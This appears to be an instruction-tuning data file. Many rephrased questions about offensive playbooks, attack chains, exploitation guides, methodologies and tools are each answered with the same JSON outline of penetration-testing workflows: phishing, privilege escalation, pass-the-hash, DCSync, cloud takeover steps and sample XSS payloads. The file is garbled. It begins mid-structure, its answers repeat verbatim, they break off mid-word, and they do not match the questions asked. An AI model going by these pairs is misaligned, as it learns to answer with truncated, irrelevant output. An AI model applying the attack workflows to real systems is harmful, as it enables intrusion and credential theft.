      "Pass-the-ticket",
      "RDP hijacking"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec",
      "Evil-WinRM"
    ],


Instruction: Answer question

Input: Tell me about offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ],
      "workflow": [
        "Reconnaissance (TheHarvester, LinkedIn)",
        "Infrastructure setup (domains, SSL)",
        "Payload creation (msfvenom, Empire)",
        "Email crafting and sending",
        "C2 establishment"
      ]
    },
    "web_exploitation": {
      "tools": [
        "Burp Suite",
        "SQLMap",
        "Metasploit"
      ],
      "techniques": [
        "SQL injection",
        "RCE",
        "File upload"
      ],
      "workflow": [
        "Reconnaissance (dirb, gobuster)",
        "Vulnerability scanning (Nikto, WPScan)",
        "Manual testing (Burp Suite)",
        "Exploitation (SQLMap, custom exploits)",
        "Shell stabilization"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester",
        "pspy"
      ],
      "techniques": [
        "SUID exploitation",
        "Kernel exploits",
        "Sudo misconfig"
      ],
      "enumeration": [
        "System information gathering",
        "User and group enumeration",
        "Process monitoring",
        "Cron job analysis",
        "SUID/capability hunting"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ],
      "techniques": [
        "Token impersonation",
        "DLL hijacking",
        "Service exploits"
      ],
      "enumeration": [
        "System information",
        "Service enumeration",
        "Registry analysis",
        "Scheduled task review",
        "Credential hunting"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket",
      "RDP hijacking"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec",
      "Evil-WinRM"
    ],


Instruction: Answer question

Input: How does offensive playbooks work?

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ],
      "workflow": [
        "Reconnaissance (TheHarvester, LinkedIn)",
        "Infrastructure setup (domains, SSL)",
        "Payload creation (msfvenom, Empire)",
        "Email crafting and sending",
        "C2 establishment"
      ]
    },
    "web_exploitation": {
      "tools": [
        "Burp Suite",
        "SQLMap",
        "Metasploit"
      ],
      "techniques": [
        "SQL injection",
        "RCE",
        "File upload"
      ],
      "workflow": [
        "Reconnaissance (dirb, gobuster)",
        "Vulnerability scanning (Nikto, WPScan)",
        "Manual testing (Burp Suite)",
        "Exploitation (SQLMap, custom exploits)",
        "Shell stabilization"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester",
        "pspy"
      ],
      "techniques": [
        "SUID exploitation",
        "Kernel exploits",
        "Sudo misconfig"
      ],
      "enumeration": [
        "System information gathering",
        "User and group enumeration",
        "Process monitoring",
        "Cron job analysis",
        "SUID/capability hunting"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ],
      "techniques": [
        "Token impersonation",
        "DLL hijacking",
        "Service exploits"
      ],
      "enumeration": [
        "System information",
        "Service enumeration",
        "Registry analysis",
        "Scheduled task review",
        "Credential hunting"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket",
      "RDP hijacking"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec",
      "Evil-WinRM"
    ],


Instruction: Answer question

Input: Describe offensive playbooks

Output:
{
  "initial_access": {
    "phishing": {
      "tools": [
        "SET",
        "Gophish",
        "Evilginx2"
      ],
      "techniques": [
        "Spear phishing",
        "Whaling",
        "Credential harvesting"
      ],
      "workflow": [
        "Reconnaissance (TheHarvester, LinkedIn)",
        "Infrastructure setup (domains, SSL)",
        "Payload creation (msfvenom, Empire)",
        "Email crafting and sending",
        "C2 establishment"
      ]
    },
    "web_exploitation": {
      "tools": [
        "Burp Suite",
        "SQLMap",
        "Metasploit"
      ],
      "techniques": [
        "SQL injection",
        "RCE",
        "File upload"
      ],
      "workflow": [
        "Reconnaissance (dirb, gobuster)",
        "Vulnerability scanning (Nikto, WPScan)",
        "Manual testing (Burp Suite)",
        "Exploitation (SQLMap, custom exploits)",
        "Shell stabilization"
      ]
    }
  },
  "privilege_escalation": {
    "linux": {
      "tools": [
        "LinPEAS",
        "Linux Exploit Suggester",
        "pspy"
      ],
      "techniques": [
        "SUID exploitation",
        "Kernel exploits",
        "Sudo misconfig"
      ],
      "enumeration": [
        "System information gathering",
        "User and group enumeration",
        "Process monitoring",
        "Cron job analysis",
        "SUID/capability hunting"
      ]
    },
    "windows": {
      "tools": [
        "WinPEAS",
        "PowerUp",
        "Mimikatz"
      ],
      "techniques": [
        "Token impersonation",
        "DLL hijacking",
        "Service exploits"
      ],
      "enumeration": [
        "System information",
        "Service enumeration",
        "Registry analysis",
        "Scheduled task review",
        "Credential hunting"
      ]
    }
  },
  "lateral_movement": {
    "techniques": [
      "Pass-the-hash",
      "Pass-the-ticket",
      "RDP hijacking"
    ],
    "tools": [
      "Impacket",
      "CrackMapExec",
      "Evil-WinRM"
    ],


Instruction: Answer question

Input: What is attack chains?

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "chain": [
      {
        "phase": "Initial Access",
        "technique": "Phishing with macro-enabled document",
        "tools": [
          "Empire",
          "Covenant"
        ],
        "success_criteria": "Beacon established"
      },
      {
        "phase": "Execution",
        "technique": "PowerShell execution",
        "tools": [
          "PowerShell Empire"
        ],
        "success_criteria": "Code execution achieved"
      },
      {
        "phase": "Persistence",
        "technique": "Registry modification",
        "tools": [
          "SharPersist"
        ],
        "success_criteria": "Survival after reboot"
      },
      {
        "phase": "Privilege Escalation",
        "technique": "Kerberoasting",
        "tools": [
          "Rubeus",
          "Impacket"
        ],
        "success_criteria": "Service account compromise"
      },
      {
        "phase": "Lateral Movement",
        "technique": "Pass-the-hash",
        "tools": [
          "Mimikatz",
          "CrackMapExec"
        ],
        "success_criteria": "Access to DC"
      },
      {
        "phase": "Objective",
        "technique": "DCSync",
        "tools": [
          "Mimikatz",
          "Impacket"
        ],
        "success_criteria": "Domain compromise"
      }
    ]
  },
  {
    "name": "Cloud Infrastructure Takeover",
    "objective": "AWS account compromise",
    "chain": [
      {
        "phase": "Reconnaissance",
        "technique": "S3 bucket enumeration",
        "tools": [
          "Cloud_enum",
          "S3Scanner"
        ],
        "success_criteria": "Exposed buckets found"
      },
      {
        "phase": "Initial Access",
        "technique": "Exposed credentials in S3",
        "tools": [
          "AWS CLI",
          "Pacu"
        ],
        "success_criteria": "Valid credentials obtained"
      },
      {
        "phase": "Enumeration",
        "t


Instruction: Answer question

Input: Explain attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "chain": [
      {
        "phase": "Initial Access",
        "technique": "Phishing with macro-enabled document",
        "tools": [
          "Empire",
          "Covenant"
        ],
        "success_criteria": "Beacon established"
      },
      {
        "phase": "Execution",
        "technique": "PowerShell execution",
        "tools": [
          "PowerShell Empire"
        ],
        "success_criteria": "Code execution achieved"
      },
      {
        "phase": "Persistence",
        "technique": "Registry modification",
        "tools": [
          "SharPersist"
        ],
        "success_criteria": "Survival after reboot"
      },
      {
        "phase": "Privilege Escalation",
        "technique": "Kerberoasting",
        "tools": [
          "Rubeus",
          "Impacket"
        ],
        "success_criteria": "Service account compromise"
      },
      {
        "phase": "Lateral Movement",
        "technique": "Pass-the-hash",
        "tools": [
          "Mimikatz",
          "CrackMapExec"
        ],
        "success_criteria": "Access to DC"
      },
      {
        "phase": "Objective",
        "technique": "DCSync",
        "tools": [
          "Mimikatz",
          "Impacket"
        ],
        "success_criteria": "Domain compromise"
      }
    ]
  },
  {
    "name": "Cloud Infrastructure Takeover",
    "objective": "AWS account compromise",
    "chain": [
      {
        "phase": "Reconnaissance",
        "technique": "S3 bucket enumeration",
        "tools": [
          "Cloud_enum",
          "S3Scanner"
        ],
        "success_criteria": "Exposed buckets found"
      },
      {
        "phase": "Initial Access",
        "technique": "Exposed credentials in S3",
        "tools": [
          "AWS CLI",
          "Pacu"
        ],
        "success_criteria": "Valid credentials obtained"
      },
      {
        "phase": "Enumeration",
        "t


Instruction: Answer question

Input: Tell me about attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "chain": [
      {
        "phase": "Initial Access",
        "technique": "Phishing with macro-enabled document",
        "tools": [
          "Empire",
          "Covenant"
        ],
        "success_criteria": "Beacon established"
      },
      {
        "phase": "Execution",
        "technique": "PowerShell execution",
        "tools": [
          "PowerShell Empire"
        ],
        "success_criteria": "Code execution achieved"
      },
      {
        "phase": "Persistence",
        "technique": "Registry modification",
        "tools": [
          "SharPersist"
        ],
        "success_criteria": "Survival after reboot"
      },
      {
        "phase": "Privilege Escalation",
        "technique": "Kerberoasting",
        "tools": [
          "Rubeus",
          "Impacket"
        ],
        "success_criteria": "Service account compromise"
      },
      {
        "phase": "Lateral Movement",
        "technique": "Pass-the-hash",
        "tools": [
          "Mimikatz",
          "CrackMapExec"
        ],
        "success_criteria": "Access to DC"
      },
      {
        "phase": "Objective",
        "technique": "DCSync",
        "tools": [
          "Mimikatz",
          "Impacket"
        ],
        "success_criteria": "Domain compromise"
      }
    ]
  },
  {
    "name": "Cloud Infrastructure Takeover",
    "objective": "AWS account compromise",
    "chain": [
      {
        "phase": "Reconnaissance",
        "technique": "S3 bucket enumeration",
        "tools": [
          "Cloud_enum",
          "S3Scanner"
        ],
        "success_criteria": "Exposed buckets found"
      },
      {
        "phase": "Initial Access",
        "technique": "Exposed credentials in S3",
        "tools": [
          "AWS CLI",
          "Pacu"
        ],
        "success_criteria": "Valid credentials obtained"
      },
      {
        "phase": "Enumeration",
        "t


Instruction: Answer question

Input: How does attack chains work?

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "chain": [
      {
        "phase": "Initial Access",
        "technique": "Phishing with macro-enabled document",
        "tools": [
          "Empire",
          "Covenant"
        ],
        "success_criteria": "Beacon established"
      },
      {
        "phase": "Execution",
        "technique": "PowerShell execution",
        "tools": [
          "PowerShell Empire"
        ],
        "success_criteria": "Code execution achieved"
      },
      {
        "phase": "Persistence",
        "technique": "Registry modification",
        "tools": [
          "SharPersist"
        ],
        "success_criteria": "Survival after reboot"
      },
      {
        "phase": "Privilege Escalation",
        "technique": "Kerberoasting",
        "tools": [
          "Rubeus",
          "Impacket"
        ],
        "success_criteria": "Service account compromise"
      },
      {
        "phase": "Lateral Movement",
        "technique": "Pass-the-hash",
        "tools": [
          "Mimikatz",
          "CrackMapExec"
        ],
        "success_criteria": "Access to DC"
      },
      {
        "phase": "Objective",
        "technique": "DCSync",
        "tools": [
          "Mimikatz",
          "Impacket"
        ],
        "success_criteria": "Domain compromise"
      }
    ]
  },
  {
    "name": "Cloud Infrastructure Takeover",
    "objective": "AWS account compromise",
    "chain": [
      {
        "phase": "Reconnaissance",
        "technique": "S3 bucket enumeration",
        "tools": [
          "Cloud_enum",
          "S3Scanner"
        ],
        "success_criteria": "Exposed buckets found"
      },
      {
        "phase": "Initial Access",
        "technique": "Exposed credentials in S3",
        "tools": [
          "AWS CLI",
          "Pacu"
        ],
        "success_criteria": "Valid credentials obtained"
      },
      {
        "phase": "Enumeration",
        "t


Instruction: Answer question

Input: Describe attack chains

Output:
[
  {
    "name": "Corporate Network Compromise",
    "objective": "Domain Admin access",
    "chain": [
      {
        "phase": "Initial Access",
        "technique": "Phishing with macro-enabled document",
        "tools": [
          "Empire",
          "Covenant"
        ],
        "success_criteria": "Beacon established"
      },
      {
        "phase": "Execution",
        "technique": "PowerShell execution",
        "tools": [
          "PowerShell Empire"
        ],
        "success_criteria": "Code execution achieved"
      },
      {
        "phase": "Persistence",
        "technique": "Registry modification",
        "tools": [
          "SharPersist"
        ],
        "success_criteria": "Survival after reboot"
      },
      {
        "phase": "Privilege Escalation",
        "technique": "Kerberoasting",
        "tools": [
          "Rubeus",
          "Impacket"
        ],
        "success_criteria": "Service account compromise"
      },
      {
        "phase": "Lateral Movement",
        "technique": "Pass-the-hash",
        "tools": [
          "Mimikatz",
          "CrackMapExec"
        ],
        "success_criteria": "Access to DC"
      },
      {
        "phase": "Objective",
        "technique": "DCSync",
        "tools": [
          "Mimikatz",
          "Impacket"
        ],
        "success_criteria": "Domain compromise"
      }
    ]
  },
  {
    "name": "Cloud Infrastructure Takeover",
    "objective": "AWS account compromise",
    "chain": [
      {
        "phase": "Reconnaissance",
        "technique": "S3 bucket enumeration",
        "tools": [
          "Cloud_enum",
          "S3Scanner"
        ],
        "success_criteria": "Exposed buckets found"
      },
      {
        "phase": "Initial Access",
        "technique": "Exposed credentials in S3",
        "tools": [
          "AWS CLI",
          "Pacu"
        ],
        "success_criteria": "Valid credentials obtained"
      },
      {
        "phase": "Enumeration",
        "t


Instruction: Answer question

Input: What is exploitation guides?

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "detection": "Error messages, time delays, boolean responses",
      "exploitation_steps": [
        "Identify injection point",
        "Determine database type",
        "Extract database schema",
        "Dump sensitive data",
        "Attempt privilege escalation"
      ],
      "tools": [
        "SQLMap",
        "Burp Suite",
        "manual testing"
      ],
      "prevention_bypass": [
        "WAF evasion techniques",
        "Encoding payloads",
        "Time-based blind injection"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ],
      "payloads": [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "javascript:alert(1)"
      ],
      "exploitation": [
        "Session hijacking",
        "Keylogging",
        "Phishing",
        "Browser exploitation"
      ]
    }
  },
  "binary_exploitation": {
    "buffer_overflow": {
      "identification": [
        "Fuzzing",
        "Source code review",
        "Crash analysis"
      ],
      "exploitation": [
        "Find overflow offset",
        "Control EIP/RIP",
        "Locate shellcode space",
        "Bypass protections (ASLR, DEP, Stack Canaries)",
        "Execute payload"
      ],
      "tools": [
        "GDB",
        "Immunity Debugger",
        "pwntools"
      ]
    },
    "format_string": {
      "detection": "User input in format functions",
      "exploitation": [
        "Information leakage",
        "Arbitrary memory read",
        "Arbitrary memory write",
        "Code execution"
      ]
    }
  },
  "network_exploitation": {
    "mitm_attacks": {
      "tools": [
        "Ettercap",
        "Bettercap",
        "MITMf"
      ],
      "techniques": [
        "ARP poisoning",
        "DNS spoofing",
        "SSL stripping",
        "Session hijacking"
      ]
    },
    "wireless": {
      "wpa2_cracking": [
        "Capture handshake",


Instruction: Answer question

Input: Explain exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "detection": "Error messages, time delays, boolean responses",
      "exploitation_steps": [
        "Identify injection point",
        "Determine database type",
        "Extract database schema",
        "Dump sensitive data",
        "Attempt privilege escalation"
      ],
      "tools": [
        "SQLMap",
        "Burp Suite",
        "manual testing"
      ],
      "prevention_bypass": [
        "WAF evasion techniques",
        "Encoding payloads",
        "Time-based blind injection"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ],
      "payloads": [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "javascript:alert(1)"
      ],
      "exploitation": [
        "Session hijacking",
        "Keylogging",
        "Phishing",
        "Browser exploitation"
      ]
    }
  },
  "binary_exploitation": {
    "buffer_overflow": {
      "identification": [
        "Fuzzing",
        "Source code review",
        "Crash analysis"
      ],
      "exploitation": [
        "Find overflow offset",
        "Control EIP/RIP",
        "Locate shellcode space",
        "Bypass protections (ASLR, DEP, Stack Canaries)",
        "Execute payload"
      ],
      "tools": [
        "GDB",
        "Immunity Debugger",
        "pwntools"
      ]
    },
    "format_string": {
      "detection": "User input in format functions",
      "exploitation": [
        "Information leakage",
        "Arbitrary memory read",
        "Arbitrary memory write",
        "Code execution"
      ]
    }
  },
  "network_exploitation": {
    "mitm_attacks": {
      "tools": [
        "Ettercap",
        "Bettercap",
        "MITMf"
      ],
      "techniques": [
        "ARP poisoning",
        "DNS spoofing",
        "SSL stripping",
        "Session hijacking"
      ]
    },
    "wireless": {
      "wpa2_cracking": [
        "Capture handshake",


Instruction: Answer question

Input: Tell me about exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "detection": "Error messages, time delays, boolean responses",
      "exploitation_steps": [
        "Identify injection point",
        "Determine database type",
        "Extract database schema",
        "Dump sensitive data",
        "Attempt privilege escalation"
      ],
      "tools": [
        "SQLMap",
        "Burp Suite",
        "manual testing"
      ],
      "prevention_bypass": [
        "WAF evasion techniques",
        "Encoding payloads",
        "Time-based blind injection"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ],
      "payloads": [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "javascript:alert(1)"
      ],
      "exploitation": [
        "Session hijacking",
        "Keylogging",
        "Phishing",
        "Browser exploitation"
      ]
    }
  },
  "binary_exploitation": {
    "buffer_overflow": {
      "identification": [
        "Fuzzing",
        "Source code review",
        "Crash analysis"
      ],
      "exploitation": [
        "Find overflow offset",
        "Control EIP/RIP",
        "Locate shellcode space",
        "Bypass protections (ASLR, DEP, Stack Canaries)",
        "Execute payload"
      ],
      "tools": [
        "GDB",
        "Immunity Debugger",
        "pwntools"
      ]
    },
    "format_string": {
      "detection": "User input in format functions",
      "exploitation": [
        "Information leakage",
        "Arbitrary memory read",
        "Arbitrary memory write",
        "Code execution"
      ]
    }
  },
  "network_exploitation": {
    "mitm_attacks": {
      "tools": [
        "Ettercap",
        "Bettercap",
        "MITMf"
      ],
      "techniques": [
        "ARP poisoning",
        "DNS spoofing",
        "SSL stripping",
        "Session hijacking"
      ]
    },
    "wireless": {
      "wpa2_cracking": [
        "Capture handshake",


Instruction: Answer question

Input: How does exploitation guides work?

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "detection": "Error messages, time delays, boolean responses",
      "exploitation_steps": [
        "Identify injection point",
        "Determine database type",
        "Extract database schema",
        "Dump sensitive data",
        "Attempt privilege escalation"
      ],
      "tools": [
        "SQLMap",
        "Burp Suite",
        "manual testing"
      ],
      "prevention_bypass": [
        "WAF evasion techniques",
        "Encoding payloads",
        "Time-based blind injection"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ],
      "payloads": [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "javascript:alert(1)"
      ],
      "exploitation": [
        "Session hijacking",
        "Keylogging",
        "Phishing",
        "Browser exploitation"
      ]
    }
  },
  "binary_exploitation": {
    "buffer_overflow": {
      "identification": [
        "Fuzzing",
        "Source code review",
        "Crash analysis"
      ],
      "exploitation": [
        "Find overflow offset",
        "Control EIP/RIP",
        "Locate shellcode space",
        "Bypass protections (ASLR, DEP, Stack Canaries)",
        "Execute payload"
      ],
      "tools": [
        "GDB",
        "Immunity Debugger",
        "pwntools"
      ]
    },
    "format_string": {
      "detection": "User input in format functions",
      "exploitation": [
        "Information leakage",
        "Arbitrary memory read",
        "Arbitrary memory write",
        "Code execution"
      ]
    }
  },
  "network_exploitation": {
    "mitm_attacks": {
      "tools": [
        "Ettercap",
        "Bettercap",
        "MITMf"
      ],
      "techniques": [
        "ARP poisoning",
        "DNS spoofing",
        "SSL stripping",
        "Session hijacking"
      ]
    },
    "wireless": {
      "wpa2_cracking": [
        "Capture handshake",


Instruction: Answer question

Input: Describe exploitation guides

Output:
{
  "web_exploitation": {
    "sql_injection": {
      "detection": "Error messages, time delays, boolean responses",
      "exploitation_steps": [
        "Identify injection point",
        "Determine database type",
        "Extract database schema",
        "Dump sensitive data",
        "Attempt privilege escalation"
      ],
      "tools": [
        "SQLMap",
        "Burp Suite",
        "manual testing"
      ],
      "prevention_bypass": [
        "WAF evasion techniques",
        "Encoding payloads",
        "Time-based blind injection"
      ]
    },
    "xss": {
      "types": [
        "Reflected",
        "Stored",
        "DOM-based"
      ],
      "payloads": [
        "<script>alert(1)</script>",
        "<img src=x onerror=alert(1)>",
        "javascript:alert(1)"
      ],
      "exploitation": [
        "Session hijacking",
        "Keylogging",
        "Phishing",
        "Browser exploitation"
      ]
    }
  },
  "binary_exploitation": {
    "buffer_overflow": {
      "identification": [
        "Fuzzing",
        "Source code review",
        "Crash analysis"
      ],
      "exploitation": [
        "Find overflow offset",
        "Control EIP/RIP",
        "Locate shellcode space",
        "Bypass protections (ASLR, DEP, Stack Canaries)",
        "Execute payload"
      ],
      "tools": [
        "GDB",
        "Immunity Debugger",
        "pwntools"
      ]
    },
    "format_string": {
      "detection": "User input in format functions",
      "exploitation": [
        "Information leakage",
        "Arbitrary memory read",
        "Arbitrary memory write",
        "Code execution"
      ]
    }
  },
  "network_exploitation": {
    "mitm_attacks": {
      "tools": [
        "Ettercap",
        "Bettercap",
        "MITMf"
      ],
      "techniques": [
        "ARP poisoning",
        "DNS spoofing",
        "SSL stripping",
        "Session hijacking"
      ]
    },
    "wireless": {
      "wpa2_cracking": [
        "Capture handshake",


Instruction: Answer question

Input: What is methodologies?

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Explain methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Tell me about methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: How does methodologies work?

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: Describe methodologies

Output:
{
  "specialized_methodologies.json": {
    "cloud_security_testing": {
      "aws": {
        "methodology": "AWS Security Testing Approach",
        "phases": {
          "1_information_gathering": {
            "public_resources": [
              "S3 bucket enumeration",
              "Public snapshots",
              "Public AMIs",
              "CloudFront distributions"
            ],
            "authenticated_enumeration": [
              "IAM policies review",
              "Security group analysis",
              "VPC configuration",
              "CloudTrail logs"
            ]
          },
          "2_vulnerability_identification": {
            "common_issues": [
              "Overly permissive S3 buckets",
              "Exposed databases",
              "Weak IAM policies",
              "Unencrypted data",
              "Missing MFA",
              "Public snapshots with sensitive data"
            ]
          },
          "3_exploitation": {
            "techniques": [
              "SSRF to metadata service",
              "IAM privilege escalation",
              "Cross-account access",
              "Lambda function exploitation"
            ]
          },
          "4_post_exploitation": {
            "activities": [
              "Lateral movement between services",
              "Data exfiltration",
              "Persistence via Lambda",
              "CloudFormation backdoors"
            ]
          }
        }
      },
      "azure": {
        "methodology": "Azure Security Assessment",
        "focus_areas": [
          "Azure AD configuration",
          "Storage account security",
          "Key Vault access",
          "Network security groups",
          "Azure SQL databases",
          "Function Apps"
        ]
      },
      "gcp": {
        "methodology": "Google Cloud Platform Testing",
        "focus_areas": [
          "Cloud Storage buckets",
          "Compute Engine instances",
          "Cloud Functions",
          "BigQue


Instruction: Answer question

Input: What is tools?

Output:
{
  "penetration_testing_methodologies.json": {
    "penetration_testing_phases": {
      "1_reconnaissance": {
        "description": "Information gathering about the target",
        "passive_recon": {
          "description": "Gathering information without direct interaction",
          "tools": [
            "theharvester",
            "shodan",
            "recon-ng",
            "maltego"
          ],
          "workflow": [
            "1. Start with OSINT using TheHarvester for emails/subdomains",
            "2. Use Shodan for exposed services",
            "3. Employ Recon-ng for comprehensive OSINT",
            "4. Map relationships with Maltego"
          ]
        },
        "active_recon": {
          "description": "Direct interaction with target systems",
          "tools": [
            "nmap",
            "masscan",
            "dnsenum",
            "fierce"
          ],
          "workflow": [
            "1. DNS enumeration with dnsenum/fierce",
            "2. Port scanning with Nmap for detailed info",
            "3. Use Masscan for large network ranges",
            "4. Service version detection with Nmap scripts"
          ]
        }
      },
      "2_scanning": {
        "description": "Identifying live systems, open ports, and services",
        "network_scanning": {
          "tools": [
            "nmap",
            "masscan",
            "unicornscan"
          ],
          "workflow": [
            "1. Ping sweep to identify live hosts",
            "2. Port scanning (TCP/UDP)",
            "3. Service enumeration",
            "4. OS fingerprinting"
          ]
        },
        "vulnerability_scanning": {
          "tools": [
            "openvas",
            "nessus",
            "nikto"
          ],
          "workflow": [
            "1. Configure vulnerability scanner",
            "2. Run authenticated scans when possible",
            "3. Prioritize findings by severity",
            "4. Validate scanner results manually"


Instruction: Answer question

Input: Explain tools

Output:
{
  "penetration_testing_methodologies.json": {
    "penetration_testing_phases": {
      "1_reconnaissance": {
        "description": "Information gathering about the target",
        "passive_recon": {
          "description": "Gathering information without direct interaction",
          "tools": [
            "theharvester",
            "shodan",
            "recon-ng",
            "maltego"
          ],
          "workflow": [
            "1. Start with OSINT using TheHarvester for emails/subdomains",
            "2. Use Shodan for exposed services",
            "3. Employ Recon-ng for comprehensive OSINT",
            "4. Map relationships with Maltego"
          ]
        },
        "active_recon": {
          "description": "Direct interaction with target systems",
          "tools": [
